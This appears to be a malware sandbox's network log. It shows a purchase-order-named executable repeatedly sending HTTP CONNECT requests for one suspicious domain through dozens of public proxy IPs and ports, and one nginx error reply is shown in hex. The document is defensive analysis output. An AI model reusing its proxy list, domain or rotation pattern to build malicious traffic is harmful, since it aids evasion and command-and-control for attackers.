Mar 11, 2024 16:39:57.676645994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.906183004 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1814	192.168.2.10	54230	128.199.165.63	49093	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.676414967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.676676989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.786230087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.786288977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.785670996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:30.786384106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:42.785685062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:06.786508083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1815	192.168.2.10	55235	203.222.24.36	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.693840981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1816	192.168.2.10	55233	109.194.22.61	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.729753017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1817	192.168.2.10	55236	119.3.215.41	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.761933088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.138339043 CET	741	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.16.1 Date: Mon, 11 Mar 2024 15:39:54 GMT Content-Type: text/html Content-Length: 579 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.16.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1818	192.168.2.10	54372	103.113.71.230	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.161134005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.176599026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.286111116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:08.285974026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:20.285741091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:32.285732031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:44.285656929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1819	192.168.2.10	52609	85.239.121.168	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.183111906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1820	192.168.2.10	54417	93.175.194.154	3629	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.189326048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1821	192.168.2.10	55252	154.205.152.96	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.198668003 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:56.707768917 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:57.401056051 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:58.777839899 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:40:01.411015987 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:40:03.904031992 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:40:06.411283970 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:40:11.396409035 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:40:21.410643101 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1822	192.168.2.10	54606	158.51.210.75	7777	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.241827965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1823	192.168.2.10	55013	198.8.94.174	39078	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.242753029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1824	192.168.2.10	55253	196.20.125.129	8083	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.253608942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1825	192.168.2.10	55254	94.131.14.66	1081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.266859055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1826	192.168.2.10	55241	103.153.154.6	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.267039061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1827	192.168.2.10	55256	47.74.152.29	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.304063082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1828	192.168.2.10	55258	47.243.114.192	8180	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.313539028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1829	192.168.2.10	54674	104.247.163.246	54094	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.361274004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1830	192.168.2.10	54758	92.204.135.37	63462	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.361402988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.989093065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.676676989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1831	192.168.2.10	54688	103.156.17.39	8181	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.361687899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.369373083 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1832	192.168.2.10	55245	45.125.222.97	47239	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.361785889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1833	192.168.2.10	54596	94.131.14.66	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.361819029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.411036015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1834	192.168.2.10	55251	74.118.80.244	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.378396034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1835	192.168.2.10	54727	161.132.48.32	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.378541946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.489048958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.582925081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:08.582648039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:20.582511902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:32.582520962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:44.582710981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:08.582535028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:56.723038912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1836	192.168.2.10	54637	136.54.39.34	8118	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.384493113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.411031008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
